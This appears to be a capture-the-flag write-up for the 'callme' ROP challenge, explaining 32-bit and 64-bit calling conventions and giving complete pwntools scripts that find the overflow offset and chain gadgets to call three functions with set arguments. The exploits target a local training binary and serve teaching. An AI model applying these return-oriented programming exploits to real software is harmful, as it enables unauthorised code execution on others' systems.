callme

callme 32bit
Solution
This challenge intends to teach calling conventions in depth. Recall that 32-bit binaries store function arguments on the stack:
function
return_address,
arg1,
arg2,
arg3
What if we want to call multiple functions? The trick is to "clean up" the stack after each function call. In our case, each function takes three arguments, so we find a pop pop pop ret gadget. One candidate is pop esi ; pop edi ; pop ebp ; ret. If we use this gadget as the return address for each function, the three arguments for the current function will be popped off the stack.
Exploit
#!/usr/bin/env python3
from pwn import *
​
#--------Setup--------#
​
context(arch="i386", os="linux")
elf = ELF("callme32", checksec=False)
​
#--------Offset--------#
​
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)
​
log.info(f"{offset = }")
​
#--------ROP--------#
​
callme_one = elf.plt["callme_one"]
callme_two = elf.sym["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme32 --only "pop|ret"
pop_pop_pop_ret = 0x080487f9
​
arg1 = 0xdeadbeef
arg2 = 0xcafebabe
arg3 = 0xd00df00d
​
payload = flat(
    b"A" * offset,
    
    # Function 1
    callme_one,
    pop_pop_pop_ret, # return address for callme_one
    arg1, arg2, arg3, # args for callme_one
    
    # Function 2
    callme_two,
    pop_pop_pop_ret, # return address for callme_two
    arg1, arg2, arg3, # args for callme_two
    
    # Function 3
    callme_three,
    pop_pop_pop_ret, # return address for callme_three
    arg1, arg2, arg3, # args for callme_three
)
​
p = elf.process()
​
p.sendlineafter("> ", payload)
​
p.interactive()
64bit
Solution
The 64-bit case is even simpler. Here we simply find a pop rdi ; pop rsi ; pop rdx ; ret gadget to set up the arguments and call the function. Repeat the same process for each function.
Exploit
#!/usr/bin/env python3
from pwn import *
​
#--------Setup--------#
​
context(arch="amd64", os="linux")
elf = ELF("callme", checksec=False)
​
#--------Offset--------#
​
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))
​
log.info(f"offset: {offset}")
​
#--------ROP--------#
​
callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme --only "pop|ret" | grep rdi
pop_rdi_rsi_rdx = 0x40093c
ret = 0x4006be
​
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
​
payload = flat(
    b"A" * offset,
​
    # Function 1
    pop_rdi_rsi_rdx, arg1, arg2, arg3,
    ret, callme_one,
​
    # Function 2
    pop_rdi_rsi_rdx, arg1, arg2, arg3,
    ret, callme_two,
​
    # Function 3
    pop_rdi_rsi_rdx, arg1, arg2, arg3,
    ret, callme_three,
)
​
p = elf.process()
​
p.sendlineafter("> ", payload)
​
p.interactive()

split

write4

Last modified 4mo ago

Copy link

Outline